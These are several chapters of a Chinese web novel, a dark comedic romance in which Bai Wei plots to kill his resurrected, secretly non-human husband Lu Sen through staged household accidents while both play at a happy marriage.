白唯在黑暗里摸索,却没有去洗衣房。他从走廊里摸了一把手电筒,又从后院里摸了一把木棍。手电筒照着摇晃的前路,他用木棍点着空空荡荡的走廊:“老公?老公?” “老公,你怎么不回答,我好害怕——”推开洗衣房门,白唯话音未落,就看见卢森正蹲在地上。 有东西被丢在旁边——是一根铁丝。 白唯咽了一口口水。 卢森回头看他。他英俊的面容由于手电筒的照射变得阴恻恻的:“你来洗衣服时,有看见这个东西吗?” 白唯在辩解和反驳中选择了装傻:“啊?老公你说什么东西呀?” “这根铁丝。”卢森说。 白唯茫然地摇了摇头。他看见卢森的表情变得很凝重。 “我看见这里有一滩水,就绕着它走了。老公,这根铁丝在插座上面吗?”白唯说,“那你有没有被电着啊老公。” 他伸手去拥抱卢森,却被对方推开了。 看见卢森动作的一瞬间,白唯脑袋里闪过“被发现了”四个字。可被卢森隔着衣服推开身体时,白唯却感觉有点麻——像是卢森还带着电似的。他向后一靠,靠在墙上,忽然心生一计,抽抽噎噎地哭了起来。 “还好你刚才绕着这摊水走,不然你可要被电死了。”卢森说着,甚至在狂怒之下还踩了一脚铁丝,超绝超雄,“这破洗衣机,这破铁丝,唉,怎么这么不小心!” “可是老公你都没有被电死啊。”白唯听见卢森发火,哭得更厉害了,“而且你还推我,好像是我害你被电一样。” 卢森没想到白唯会哭。他慌了神,看着昏暗手电筒光下白唯那张流满了泪水的脸。他急切地想要给对方一个拥抱,又想到自己身上还带电,于是只能匆匆地来一句“你等我一下”,然后就跑进了花园。 找了把铁铲放电。 卢森一走,白唯立刻冷下脸来。他用手电筒照了一下插座处,一片焦黑。 到底是卢森的运气太好,还是从坟墓里爬回来的卢森已经是怪物了? 在听见卢森回来的脚步声后,白唯又开始哭。卢森看见妻子站在洗衣房的角落里,哭得梨花带雨,忙不迭地把白唯一把抱起来。 白唯闪避不及,手里原本用来刨开卢森的木棍落在自己的脚上,痛得面目扭曲。 卢森公主抱他,一路返回客厅。手电筒下白唯泪光盈盈,嘴唇苍白,好像受难的公主。卢森在捧着他的脸哄他的同时,也尴尬地发现—— 自己好像,石更了。< 9. 看账本 《经常死老公的都知道》全本免费阅读 “北都大学!您竟然是北都大学的高材生!”出于尊敬,邻居会计太太对白唯改变了称呼,“您的教养这么好,又在北都大学读书。您父母可真了不起。” “事实上照顾我的是我的祖父。他一直告诉我,他的祖父与曾祖父都是很了不起的官员。为了传承家族荣耀,我也应该力争上游。”白唯客气地回答。 他以答谢会计太太的理由,带着在集市买的水果蜂蜜登门拜访会计太太家。当然,这只是为了让他在得知丈夫死讯时的悲伤反应能传遍整个雪山镇。 白唯心不在焉。现在是卢森离开之后的第二天,晚上八点,黑港城再怎么管理混乱,也该有警察找到他的电话了。他觉得自己的目标一定已经成功,否则这时候,卢森怎么也该到家了。 “是名门望族呀!你的父母是在国外工作吗?”所幸邻居会计太太很健谈,她总能找到新话题。 “他们离婚了。我的母亲去世了。”白唯说。 “我感到很抱歉……”会计太太掩唇,她对下来倒茶的她的丈夫疯狂地使眼色,好像他能读懂她的眼色,端点什么能缓和气氛的小点心来一样。 “没什么。这对于他们来说或许都是一种解脱。尤其是对于我的父亲而言。”白唯道。 这对男女曾因“爱情”走到一起、私奔、在海外建立家庭。但最终,他们还是在日复一日的争吵中用花瓶打破了彼此的脑袋。或许太过于激烈的爱情的诞生和破灭,都是一种命中注定。 祖父从小就歇斯底里地要求白唯,要他不要步他母亲的后尘。现在看来,白唯做到了。 正在喝茶的邻居老先生的嘴却长大了。他瞪着窗外,仿佛眼前的一切不可思议。他回头对白唯道:“白唯,天啊,你家门口好多车。” 看来是警车。白唯只作茫然紧张的样子。他跑向门外道:“我去看看。” 遗憾的是,白唯家门前并不如他所愿,有许多来告知他丈夫的死讯的警车,而是有许多卡车。 戴着白手套的工人们来来回回抬着旧家具出来,。在流水线般的卡车旁,一辆崭新的黑色SUV停在那里。卢森靠在轿车上,和工头说话。 在看见自己活着的老公后,白唯的心里一沉。崭新的黑SUV也让他心头一紧。他在邻居老太太和老先生的簇拥下来到卢森身边,并询问:“这是什么意思?” “晚上好,宝贝。”卢森结束了和身边工人的对话,对他微笑道,“其实从昨天晚上开始,我就一直在考虑这件事。你不觉得,我们家里的家具,有些‘太旧了’吗?连洗个衣服这么简单的事情,都能发生意外。” 分居,离婚? 在短暂的怔愣后,白唯心中涌起了一种被愚弄的愤怒。他在心里冷冰冰地看着卢森,觉得自己真是小瞧了他。 卢森大概昨晚就已经察觉到他的意图了——或许更早,在他锁上地窖的时候。他早有防备,于是昨天早上表面上开着车出去,实则在半路上就换了一辆新车。在这个周末之内,他已经联系好律师,收集好证据,找好了搬家工人,就等着今晚回来,将属于他的一切东西都带走。 但同时,白唯心底涌出了一些欣赏。他欣赏卢森这样冷静、体面又果断的处理方式,尽管他绝无可能让卢森达成他的目的。 白唯不能接受离婚。他的祖父曾在知道母亲私奔又离婚之后大发雷霆,宁愿他唯一的女儿客死异乡,也绝不让她回来。 “看来我小瞧你了。”白唯柔声说。 卢森笑得更开心了。他说:“所以昨天,我在黑港城找了专业的家装团队,让他们在一天之内定好了新的家装方案。今天,我让他们带着新家具和我一起回来。” 白唯:“……” “天哪,这沙发看起来价格不菲啊!”邻居老太太惊呼。 邻居老先生则拄着拐棍去欣赏那张餐桌……白唯冻结当场,还听见卢森疑惑地说:“亲爱的,你怎么看起来不太高兴?” 白唯能说什么?能说什么?他说:“这辆新车是怎么回事?” “之前的那辆车太旧了。正好到了黑港城,我换了一辆。”卢森说。 这一切究竟是什么?难道要他相信这都是巧合吗?难道要他相信卢森是个白痴吗? 紧盯白唯表情的卢森没错过白唯最开始看向他时,眼里的那抹欣赏……但很快,这份欣赏转为了震惊、茫然、被愚弄的恼火,还有现在的、如同便秘一样的纠结和痛苦。 卢森不明白自己做错了什么。他认为自己一开始一定是做对了的。白唯一定喜欢这些家具,所以他流露欣赏。可现在白唯为何这种眼神? 而且,他甚至不管他叫老公! “你哪来这么多钱?”白唯又开口了。 对于这个疑问,卢森已经聪明地准备好了回答:“亲爱的,你难道忘了,在选择归隐雪山之前,我是一名成功的跨国商人吗?” 原来,白唯是在心疼钱! 白唯在心疼他的钱、心疼他的婚前财产。显然,白唯已经把他当成了一家人,而且在认真地和他过日子。第一次被人当成自己人,明明是深秋,卢森却感到暖意涌上身体。 白唯无言以对。他看着工人们来来去去。卢森说:“这些卡车只是一部分,还有一些卡车在路上。他们会在三天之内把活儿干完的。” “我只是想知道你有没有考虑过……” “什么?”卢森问。 “现在是晚上九点。今晚你打算让我们住在哪里?”白唯看着街边被扔出来的旧床。 卢森的脑袋是被一氧化碳给熏傻了吗。 …… 所幸修车店里还有一个可以睡人的房间。 在看见房间的瞬间,白唯就已经窒息。他找来扫把和拖把一丝不苟地打扫。卢森一边铺床,一边纳闷道:“镇上怎么会一家旅馆都没有?” 白唯道:“除了居民,还会有谁来雪山镇?” 这座靠近雪山的小镇除了风景优美之外毫无优点。人口关系也很简单。卢森说:“哦……既然没有旅馆的话,我想,在雪山镇上开第一家民宿,一定是个不错的创业选择。” 白唯已经确信自己的丈夫的脑袋有问题。他正在用力地处理一块污渍,敷衍道:“你真聪明,竟然能想到这样的创业方法。” 今天一整晚,白唯都没有表现出卢森预料里的惊喜情绪。他本以为白唯会先是震惊,然后高兴,最后欢欢喜喜地扑到他的怀里,娇滴滴地管他叫老公。可白唯看起来只有被震惊,和无精打采。 就像是被过剩的信息量压垮,他不得不接受一个让他痛苦不已的事实。 为家里采购,装修屋宅,难道这不是扮演一个好丈夫该做的事情吗?卢森觉得很疑惑。他想白唯一定是在心疼钱。 白唯正在把印着钥匙的两枚肥皂藏在床下。这张床的面积实在是太小。睡一个人或许还绰绰有余,给白唯和卢森这样的两个人睡,恐怕是要让他们挤作一团了。他正想着,却听见卢森说:“亲爱的,我现在也不算是坐吃山空。做修车店也是会为我提供一定收入的。” 修车店?收入?就这家? 白唯过去没来卢森的这家修车店看过。如今看来,它靠近公路,却并不是一条常有人通行的公路。它距离小镇不近,平日里也应该没有许多人会来这里修车。卢森每个月丰厚的收入一下子变得可疑起来,但白唯实在是不懂修车经营,也不知道自己的想法是否正确。 “店里的账本是放在柜子里吗?”白唯问。 他一开口,一滴冷汗便从卢森的脑后滴下了。 卢森没想过白唯会想看店里的账本,他也实在不能把那写满“鸣人”“步惊云”和“拿破仑”的账本给白唯看。他假装答应去找账本,嘴里却说着其他的话转移白唯的注意力:“亲爱的,今天我在黑港城倒是看见几个奇怪的人。” “……黑港城里到处都是奇怪的人。”白唯很讨厌黑港城这个话题。 “他们很不一样。这些女女男男顶着一头奇怪颜色的头发,有的粉有的蓝,发型、眼珠和面纹也很奇怪。他们开着摩托在街道上横冲直撞,说什么自己穿进游戏剧本世界里了,只有找到所有的连环杀手并干掉才能回到现实世界。你不觉得他们尤其的奇怪吗?” 卢森一说,就让白唯回想起了在黑港城生活的恶心回忆。他厌烦地说:“一群□□飞多了的青少年罢了,比起这个……” 白唯却想到了一件更严重的事情。 昨天被卢森开出去的那辆车呢? 如果卢森把它当做二手车,卖到了其他人的手里的话……想到车的下落,白唯觉得自己有必要对卢森态度好点,拉近一下距离。他闭眼平静情绪,再睁眼时又露出娇弱 10. 混乱 《经常死老公的都知道》全本免费阅读 "等、等一下!" 嘴被卢森乱七八糟地亲着,白唯能感觉到对方的手正顺着他的腰往下摸。即使再迟钝的人也该明白,这次卢森想要的可不只是接吻那么简单。 还有所谓夫妻之间的“义务”。 状态良好的无性婚姻就这样在卢森的一次又一次要求下岌岌可危。事情怎么会变成这样,白唯会永远记得,从最开始,他只是想要杀老公而已。 小房间里没有任何白唯熟悉的东西,床头也没有任何可以被用来砸卢森脑袋的武器。白唯开始恨自己没有无氧训练的习惯了。卢森凭借悬殊的体型差压在他的身上,让他躲也躲不开。满身侵略性的男人托起他的大腿,低声道:“亲爱的,别害怕……” “停——停——停——我说停!” 白唯不得不做他最讨厌的事情。他大声地尖叫、重复“停”字,就像他是个不冷静的、慌张的受害者。 好在,卢森停下了。 他们的身体分开。白唯在这一刻看见他们的姿势有多暧昧。他气喘吁吁,上衣扣子被尽数解开,覆着薄薄腹肌的苍白腹部也暴露在灯光下,从腰线到人鱼线被人看得一干二净。卢森的一只手还抱着他左边的大腿。他的丈夫用那种疑惑的、不悦的、探寻的眼神看着他。 “为什么让我停下?”卢森说,“我们已经结婚了,不是吗?” 白唯无言:“因为……” “你难道不喜欢我吗?”卢森又询问。 这该叫白唯说什么?他必须告诉卢森,他喜欢他。白唯开始考虑接受这件事的可能性。他性冷淡,最坏的打算也不过是接受卢森撑开他的身体,他躺在床上麻木地任由卢森折腾进出一整晚。不,不是麻木。这应该会很疼。他的身体又不是任人捏动的橡皮泥,而是紧绷绷、会撕裂也会痛的。 更何况考虑到卢森的尺寸,白唯不想做出这种会让自己进医院的牺牲。光是想到半夜被送进医院的场景,白唯就恼羞成怒到想要再杀卢森一次。 于是他深呼吸,给出了最坦诚、也是他以为自己最不可能对卢森透露的事情。 “我是性冷淡。”他说着,闭上眼,“我很抱歉。” 这段话听起来有些公事公办。于是过一会儿,他补充了一句:“老公。” 卢森迟迟没有回答。无论是质问,还是安慰。白唯仍旧闭着眼睛,终于,他听见卢森窸窸窣窣下床的声音。 …… 可笑。 这就是可笑而可悲的婚姻现实。白唯原本读不懂卢森这几天莫名其妙的亢奋,可就在今天的这一刻,他终于又回到了自己熟悉的“生活该有的模样”里。对于恩爱的情侣而言,这种事情也常常会使一方感到不满。更何况对于他们这个扭曲诡异的家庭来说了。 但卢森只是下床,没走出房间——这个房间里除了一张床和一把小椅子、小桌子外根本什么也没有。白唯不能理解他在干什么。于是,他睁开一只眼,看见卢森一个大个子正可怜兮兮地缩在那把大椅子上。 还在玩手机。 “哦——你醒了。”卢森看向他,“我在搜‘性冷淡’是什么。” 白唯:…… 卢森看起来有些尴尬:“事实上我对这些生理知识不太清楚。我想看看这是由于缺乏什么物质导致的。我再确认一下,‘性冷淡’是缺乏性/欲,而不是交/配之后要吃掉配偶补充精力,是这样的吗?” ——卢森在当他是什么?母螳螂吗? 白唯再次深深地觉得自己的丈夫是个弱智。难道法国留学生是这样的吗?卢森在法国留学的时候,不会连每周的作业都是花钱找代写做的吧? 白唯深吸一口气。他想要拂袖而去,但修车店里也只有这一个房间。最终,他躺回床上,用被子盖住自己。 这次白唯是真的冤枉了卢森。卢森在查询论文,想要知道这是由于缺乏什么物质导致的。他发现自己或许可以合成分泌出一种物质——对这种情况很有帮助的物质。但他不知道这对白唯有没有用。 白唯在被子里思考了一会儿。他觉得吵架事小,如果这件事让卢森不愿意明天把车开回来,事情就可能变大了。于是,他在卢森回到床上后,硬着头皮在被窝里爬到了对方的胸口,小声地叫了一句“老公”。 卢森用手拍了拍他的背部以示安抚。这一举动竟然让白唯觉得很安心。他趴在对方身上,小声道:“老公,你是不是生气了。” “没有,我只是在想……”卢森说,“在想怎么办才好……” 卢森满脑子都是合成的信息素需要微调一下。他想要白唯很舒服,但不能水流得太多。 白唯神色冷淡。还好他缩在被子里,没人能看清他的脸。他对着卢森的胸肌说话:“老公,我们难道不是彼此的配偶吗?我们不是在婚姻的殿堂前说好了,只有死亡才能将我们分开吗?难道,就因为我不能和你做/爱,你就不把我当成你的配偶了吗?” “我绝对没有这个意思。”卢森将手伸进被子里,他想要立刻把白唯拔出来,对着他的脸郑重地说完这段话。 白唯现在一定很伤心。你看他蒙在被子里,就连脸都不露出来,一定是在偷偷地泪流满面…… 却有冰冰凉凉的手像白蛇一样,顺着他的腹肌往下滑。 “如果你想要的话,我可以用手帮你。”白唯的声音冰冷、柔和,却带着致命的诱惑,“老公。” 卢森掀开被子。他看见躺在被子里的白唯。他皮肤苍白,一双猫眼在夜里莹莹地泛着光亮,下巴尖尖。 好像一条冰冷的、柔软的、漂亮又危险的白蛇。 …… 第二天早起后,白唯面无表情,又在厕所里洗了三次手。 一切结束后,他靠在卫生间门板上,长长地出了一口气。 昨天晚上,卢森决定先帮助他。难以想象,卢森那双巨大的手竟然那么柔软、关节灵活,如果这世上有什么惊天的犯罪团伙,他们一定很需要卢森的这双手。 然而,无论卢森怎么做,白唯一点反应都没有。 白唯对这点并不意外。他在十五岁时已经做过这些尝试了。无论是对女人,还是对男人,他通通没有快乐的生理反应。检查说他的一切都很正常,或许他的脑袋里缺少了某种物质,让他感觉不到这种“快乐”。 后来白唯提议要帮卢森,摸到一半却被卢森拒绝了。卢森似乎很沮丧。他觉得这个夜晚不该是他一个人在快乐。他不想要这成为一个单方面的晚上。 但白唯的手已经碰到了卢森。这是他反复洗手的原因。 在出门办正事之前,白唯又在椅子上平复了一会儿心情。他还是很不适应、很不舒服,就像属于自己的房间里突然闯入了一个人。让他尤其不适应的是和卢森坦诚相待——尽管隔着被子,他们什么都看不到。但这感觉太像是坦诚相待了。 “或许在他死后,过个半年,一年,我会把这件事情忘掉。这并不是一件难事。” 他想着,忽然想起自己十一岁被祖父罚跪时,昏倒又醒来后在书上看见的一句话。 “人生不会一直都很痛苦。” 卢森进城去把昨天那辆车弄回来。而他借此机会,开着车去黑港城边缘的另一座小镇配钥匙。在黑港城附近,只要有钱就好办事。钥匙店老板没问什么理由,就把那两块肥皂变成了两把钥匙。 “你听说了么?那群‘外来者’把黑港城的条子们惹毛了。他们昨天在大街小巷里展开追逐战。” 店铺旁两个人在聊天。 “黑港城的怪人怪事越来越多了。那些‘外来者’声称自己只是来找连环杀手们的,只要任务完成他们就离开。他们手里有一张表格,里面全是一些乱七八糟的代号……” “哈?连环杀手,黑港城里不是到处都是连环杀手么。” 那两个小混混说着话,顺手把香烟和口香糖扔在街边。白唯站在钥匙店幽暗的角落里。他看着他们,表情冰冷。 黑港城曾经也有过干净的海岸。二十年前,他和他的母亲住在这里。直到这些大公司、□□、滥用药物从各地汇聚过来的流浪汉,把黑港城弄成现在这个鬼样子。 白唯又有做清洁的本能在蠢蠢欲动了。直到铁匠铺老板忽然叫他进来。 “这把钥匙配好了,另一把得加钱。”戴着眼镜的老头子说。 “为什么?”白唯看着坐地起价的老头。 “嘿,我这可不是坐地起价,别误会。这是风险把控。”老头子举起双手,能在黑港城边缘混的人果然都很油滑,“你复制黑港城最好的地下银行的保险库钥匙,我加点钱怎么了?” “地下银行客户的保险柜钥匙……”这句话反而把白唯弄愣了。 “到时候出了什么事儿,你可不能把我供出去。”老头儿又嘱咐他。 白唯没空再去想清洁城市的事,在拿到两把成品之后开车返回雪山镇。路上,他一直在不可置信地想着两件事。 第一件事是他没能拿到地窖的钥匙!他还为此给卢森买了衣服! 第二件事是卢森怎么会有黑港城地下银行保险库的钥匙? 地下银行保险库只接待私人客户,尤其是那些手握大额财富、而且不太能见光的私人客户。卢森是他祖父给他找来的性别男的相亲对象。他的家人前些年移民到了海外,经营两家百货公司,有些家资但不算巨富。卢森早年在外面留学,做了点当跨国商人的生意,留学时比较不学无术所以很多常识都不懂,到雪山镇后做维修工是因为他留学时改装汽车的兴趣爱好。以上都是祖父和卢森告诉他的。 拥有这样简单家世的“卢森”怎么可能拥有黑港城地下银行保险库的钥匙? 他回到修车店里,带着对卢森家世的怀疑开始翻箱倒柜。 他没找到地窖的钥匙——难以想象地窖里究竟藏着什么。但他发现修车店的账本消失了,绝对是被卢森藏起来了。 白唯独自坐在修车店里思考。他脸色时阴时晴。就在短短一周之前,他觉得事情应该是十分简单的——他把死而复生的丈夫再干掉一遍,领取他的人身保险金,然后离开雪山镇。他的计划就应该这么直接。 可现在,事情变得更加复杂了。 白唯早就知道卢森不是个好东西。 在死去之前,卢森装得风度翩翩,博学多才,除了在职业状态上欺骗白唯以外,他看起来还算正常。直到被枪杀的前一天,卢森拒绝解释自己在职业问题上的隐瞒,却还在规划他们一起去博物馆的行程。 直到被枪杀、从坟墓里爬回来后,卢森变成了一个彻底的坏东西。他看起来完全不装了,尤其是到达雪山镇后。从那之后,白唯眼里的卢森就变了一个可恶的、可怕的怪物,活死人。 还有骗子。 卢森不是个高材生,而是个博士和硕士都分不清的草包(所以他那些文化知识是从哪儿来的?)。卢森不懂哪怕一点舞会礼仪。卢森会开飞机开潜水艇 11. 第一次吵架 《经常死老公的都知道》全本免费阅读 “有吗?没有。”白唯想把这个话题跳过去。 卢森说:“你晚饭吃得很少,接吻时兴致不高,而且每天晚上,你都会看书。今天你没有。” “偶尔的胃口不好,偶尔的不想看书罢了。你不相信这世界上存在偶然性吗?” 白唯继续跳过。可卢森就像是听不懂人话:“但今天显然不是因为偶然性。” 天啊,他为什么一定要刨根究底。白唯感到厌烦,甚至有些愤怒。 他们本可以拥有一个看起来很和平的夜晚。卢森看他的书,他思考明天该怎么办。没有争吵、没有冲突。他还可以观察卢森是否老奸巨猾。可这一切都被卢森不识时务的刨根究底打破了。 “如果我没有说出来,你又凭什么认为我不高兴?”白唯说。 白唯显然比刚才更不高兴了。卢森也疑惑,不知道自己做错了什么。 卢森诞生于海洋深处,没有父母,以人类形态去做雇佣兵时也只与队友们建立了互相利用的关系。他知道人类的财产和社会定位是通过“家庭”这一纽带进行传递的。想要在人类社会里稳定发展,拥有积累的人际关系、财富与地位,融入一个人类的家庭,是最好的选择。 白唯优雅、冷静、好脾气、情绪稳定、博学,还出身于一个古老的家族,正巧还是“卢森”的未婚妻。这世上没有比白唯更好的“用于定居”的对象了。而且,白唯本人也很美丽,拥有他这件事很好。 卢森曾经是这样想的。 如今,白唯向他放出了“组建幸福家庭”的信号。卢森因此发现了对于人类而言的“家庭”的另一重含义——在财产、地位、人际关系的结合之外的。他不懂这个新定义,但白唯对他的关心让他感觉好极了,因此他也开始努力扮演“好丈夫”这一角色。 卢森知道自己对此一无所知。但他很好学,他会通过阅读小说和观看电视剧来学习好丈夫该做的事情。比如今天,他关怀白唯的情绪,觉得自己一点错都没有。 他不明白白唯为什么越来越不高兴了。 “好吧,可是我感觉到了。”卢森说。 “可是这对你会有什么影响吗?”白唯说。 卢森沉默了一会儿。他显然在思考,过了一会儿,他说:“从理论上讲,确实不会有什么影响。” 白唯在洗手台前洗干净脸,又看了一眼煤气灶。以早上出门买菜为由,让卢森死于煤气中毒是个不错的选择。可问题是,他今天和卢森吵架了——他不想在这么明显的情况下,做出谋杀举动。 所以接下来的一周会是较为和平的一周——白唯决定把问题交给时间。在他年幼时,他的母亲和父亲经常争吵,回到祖父家后,祖父家里永远没有争吵的存在,一切争端都会被交给家规处置。白唯能想到的把这场争吵糊弄过去的方式就是等待家里被装修完成。 等到那天,他就可以合理地以喜欢新家的装修为由,和卢森“重归于好”,然后继续执行他的谋杀计划。 白唯翻身去关灯,卢森还在旁边看手机。在房间暗下来后,他听见卢森闷闷的声音:“我们今天晚上,算是吵架了吗?” 他没等白唯回答,又自顾自地说:“我们没说几句话,也没动手,但我感觉这像是在吵架。” 白唯:…… 如果不是卢森多嘴问那么多句,他们本来可以不把今晚的气氛弄得那么糟的!等白唯恢复冷静了,他自然可以温柔地对卢森说,你做菜辛苦了,我还想吃你做的菜,明天一早我去买菜,你在家里休息吧,然后在明早出发的时候打开家里的煤气阀门。 可卢森偏偏话太多了。他让白唯骑虎难下,打破了这个家庭的“和谐气氛”,甚至不得不为此拖延谋杀计划。 白唯躺在被子里,他又有些开始生气了。他都有些摸不清自己的心思。毕竟卢森迟早都要死了,他竟然还会生他的气。这让他想起了他想要谋杀的第一个对象。 黑港城电视台大楼外的一个流浪汉。 那个流浪汉吸毒、赌博、年轻时因为猥亵儿童而入狱。出狱后他在白唯工作的电视台外扎寨为营,随地吐痰、当暴露狂,骚扰白唯的同事和下属,并开始跟踪一名实习生。白唯多次报警、两次把他塞进麻袋、扔到黑港城的流浪汉收容所里,可这个人两次都离开收容所,再度回到电视台下。 白唯曾对他感到十分愤怒,但这愤怒很快在白唯决定谋杀他之后完全消散了。 可对于卢森,无论怎样计划对他的谋杀,白唯始终会对他感到生气。白唯知道自己此刻开始开口缓和气氛,或许能够加快自己对卢森的谋杀进度。 但是他开不了这个口。明明白唯一向目标感强烈,愿意为了达成目标做出各种牺牲的。 卢森继续说:“我刚才想了很久。你感到生气,对于我来说的确不会有什么影响。但我会感到很难过。我不知道这是怎么了。一方面,我看到你不高兴,我自己会感到难过。我想,或许是因为,我会觉得你很可怜。” ……不会说话可以不说的。白唯咬牙。 卢森又道:“另一方面,我感到难过,是因为你明明不高兴,却又不肯说出来你为什么不高兴。所以,或许明天、后天、再过几天,你还会因为同样的事情而不高兴。我想到这里,就觉得很难过。” 白唯:…… “你不觉得把气氛弄糟的人是你么?”白唯说,“如果你不开口问这件事的话,明明我们可以和平地度过这个晚上的。” “但你还是会不高兴的。”卢森说。 “但我不会说出来。”白唯说。 “你为什么不会说出来呢?明明你不高兴。” 话题绕来绕去又绕回了第一段。白唯在那一刻想到了自己的家庭——最开始的、有他和他的母亲父亲的、在白海的家庭。他的父母背叛了自己的家族,私奔到这里定居。他们每天都在说话、都在争吵。 直到他们用花瓶打碎了彼此的脑袋,母亲带着他搬迁至黑港。 在黑港的日子是从未有过的安静的。他的母亲白雎是一个苍白又沉默的女子。在不和他的父亲争吵的日子里,她其实不爱说话。很偶尔,她让白唯看见了她以前的照片。她留着很短的头发,穿着男装,在海军学院的大片爬山虎下拍照,看起来安静又倔强。 “那时候我曾经是父亲的骄傲。”他的母亲看着照片沉吟许久,轻轻地开口,“你知道吗?我的父亲从来没管我叫‘女儿’。他一直叫我‘儿子’,说我是他的骄傲。” “我是错的。我没办法和他争吵,我回不去了。我不是我人生的船长,我只能在这里,客死异乡。” 后来母亲病死。他和母亲的尸身相处了超过一周,直到邻居在夏日闻见臭味,发现只有几岁的孩子在每天擦洗母亲的身体。邻居拨打了报警电 12. 我在思考 《经常死老公的都知道》全本免费阅读 “实在感谢你们的帮助,其实我自己就能把东西拿回去的。”白唯尴尬地说。 “哦,这当然不麻烦。你一个人拿这些东西多重啊!而且这些鸡蛋可不能放在其他东西下面,你说是不是?魏连?” “是,当然,敏敏说得都对。”报社编辑扛着一堆东西,在旁边点头哈腰。 女教师乔敏又转向白唯。她的表情里充满了崇拜与兴奋:“而且白唯——我刚刚怎么没想起来呢!白唯和百微竟然是同一个人!你就是那位大学二年级就拿了新人奖的作家!你知道吗?当时我在颁奖典礼上当志愿者。在返回家乡前我万万没想到,你竟然会搬来雪山镇居住……” 白唯的脸都快笑僵了。他特意让他们把车停在距离修车店更远一些的街道,就是为了让自己能在这有限的距离之内疯狂思考。 事情怎么会变成这样呢? 去集市买东西,只是白唯制造不在场证明的权宜之计罢了。可他万万没想到这名叫“乔敏”的小镇中学女教师竟然和他有过一面之缘,且是他的粉丝,而且在人群之中一眼就认出了他。 乔敏发挥了小镇居民和粉丝特有的天真与热情。她领着她的丈夫,喜气洋洋地要和他一起来到白唯的修车店,指不定还想在里面喝一杯茶。于是事情瞬间变得复杂了起来。 因为,这可是煤气泄漏! 一点电火花就极有可能引发爆炸的煤气泄漏! 一路上,白唯心情紧张。他只想干掉卢森,却不想引起访客的伤亡,这会给他带来不必要的麻烦。在靠近修车店大门时,白唯发现报社编辑魏连的表情变得复杂了起来。他看了一眼自己兴奋过头的妻子,又看了一眼白唯:“你如今……住在这里?” “这是我家的修车店。”白唯说。 报社编辑的表情变得更加微妙了,他掏了掏口袋,想拿出点什么东西来缓和自己的复杂心情。 ——没事的,出现爆炸的概率很小。白唯告诉自己。 他刚把钥匙插进锁孔,余光便瞟见身后有一点火光亮起。 “等一下!” 报社编辑被白唯吓了一跳。可他嘴里的香烟已经被点燃。他只是疑惑:“怎、怎么了?” 白唯不想让自己显得很异常。但箭在弦上,不得不发。他只能清了清嗓子,严肃地看向报社编辑:“我有些鼻炎,不喜欢家里有烟的味道。” “任何人都不喜欢家里有烟的味道!”乔敏怒视着报社编辑,显然作为妻子的她已经对丈夫的这一习惯讨厌许久。 在魏连连声道歉、熄灭手中香烟时白唯稍微松了一口气。但很快,他就被乔敏手上的东西吸引了注意力。 “你的手机屏幕怎么在……” “叮咚,叮咚。” 手机连上电又断掉电的声音不绝于耳。 “啊呀!这个充电宝怎么这么烫……还鼓包了!”乔敏尖叫,“魏连,这个充电宝怎么是XXX牌的!之前新闻上就说,XXX牌的充电宝在夏天容易冒电火花和爆炸。你怎么还贪便宜买这个牌子的!” “可它打折……” 电火花,香烟,这对夫妻是专门过来送整家店上西天的吧? 那一刻白唯感到无比的绝望。 他深吸一口气,推开店门。修车店没有开窗,紧拉着窗帘,室内一片凄清阴暗。白唯就在身后夫妻的吵闹声中大声开口:“老公,我回来了!还带了两个客人回来。” “老、老公?” 身后的报社编辑不再和妻子吵架了,而是发出了极尽疑惑的声音。白唯却抢先他一步继续向室内走去:“老公?你在家吗?你怎么不说话啊?” “都几点了还不起床,桌子上的早饭也不吃……”他抱怨道。 “等、等下。”还在门外的乔敏大喊道,“这屋子里怎么有股臭鸡蛋味啊?” 她捏着鼻子,报社编辑则迅速反应过来:“煤气泄漏!白唯,别往里面走?” “什么?煤气泄漏?”白唯露出短暂震惊的表情,随即立刻往后屋的方向跑去,“老公!老公!你在哪里!你还醒着吗?老公!老公你说句话啊!” “把充电宝放在外面,敏敏,你开那边的窗户,我开这边的!”报社编辑当机立断。 乔敏立刻点头,并顺手把魏连的打火机也从他兜里掏出来,远远地扔到了街道的另一边。她的速度之快,让人无比怀疑她是在公报私仇。而另一边,报社编辑在开窗的同时也心有余悸。又是抽烟,又是鼓包的充电宝,如果在进门之前没有发现这两样东西,以这屋子里臭鸡蛋气味的浓度,恐怕他们三人刚进门就被炸上天了…… 可身为报社编辑的敏锐度却让他感觉到了一丝不对劲。 等下,刚才是谁先发现了这两样东西来着? 就在他的怀疑转移到一个人的身上时,里面已经传来了白唯的声音。 “老、老公……” 白唯有些惊惧、还有点哽咽。 “老公!你怎么还活着啊!” 白唯很震惊。 “真是太好了!” 白唯开始哽咽。 乔敏向开着的内门看去。内屋阴影处站着一名高大的男人。身材高挑的白唯此刻正扑在他的身上,由于男人实在高大,纤长的白唯此刻也显得娇俏可人……而且还在一抽一抽地哭泣。高大的男人则揽着白唯的肩膀,正在不住地拍打他。 “别哭了,别哭了……我刚刚在睡觉。发生什么了?屋子里怎么这么臭?” “呜呜!老公,我以为你已经死了!”白唯哭着说。 在这个场景之下,目睹了偶像娇妻一面、陷入极度震惊的乔敏成为了最清醒的人。她转头看向自己的丈夫:“我觉得我们是不是应该去把煤气开关给关掉……” 13. 不祥征兆 《经常死老公的都知道》全本免费阅读 “上周煤气泄漏的事十分感谢。如果没有你们恰好过来,恐怕整家修车店都要被炸上西天了。”卢森提着大盒礼物,亲切道,“这些是我亲手做的蛋挞,如果你们需要的话……” “噢!你们怎么还带这么多东西过来,何必这么客气。” 这是感动的声音——来自乔敏。 “就是,你们干嘛带这么多东西过来……” 这是发自真心的、惊悚的声音——来自魏连。 魏连眉毛狂跳。他紧绷身体,小心地把卢森拎来的纸盒子放进自家冰箱里,并完全不敢想象里面的东西长什么样。等他返回客厅时,卢森和卢森的“老婆”已经在沙发上坐着了。卢森笑容温和,白唯神游天外。而他自己的老婆则在家里跑来跑去,寻找白唯的那本畅销书,希望他给自己签名。 “你们接下来还要在修车店里住吗?” “不,我们家里已经装修好了。最迟明天,我们就会搬回去住。”卢森说着,打量着他们家里的装饰,“说起来真奇怪。你们家里的装饰给我一种很特别的感觉……这是什么?” “这是照片墙。”乔敏热情地介绍,“我和魏连会把每次旅行的照片和纪念品都贴在这张墙上,旁边的展示柜里是我的雕塑娃娃和他的高达。旁边的水枪是他的收藏,这些相框是我的……” “原来如此。如今我和阿唯的家里很豪华,却缺少了一些人味……” 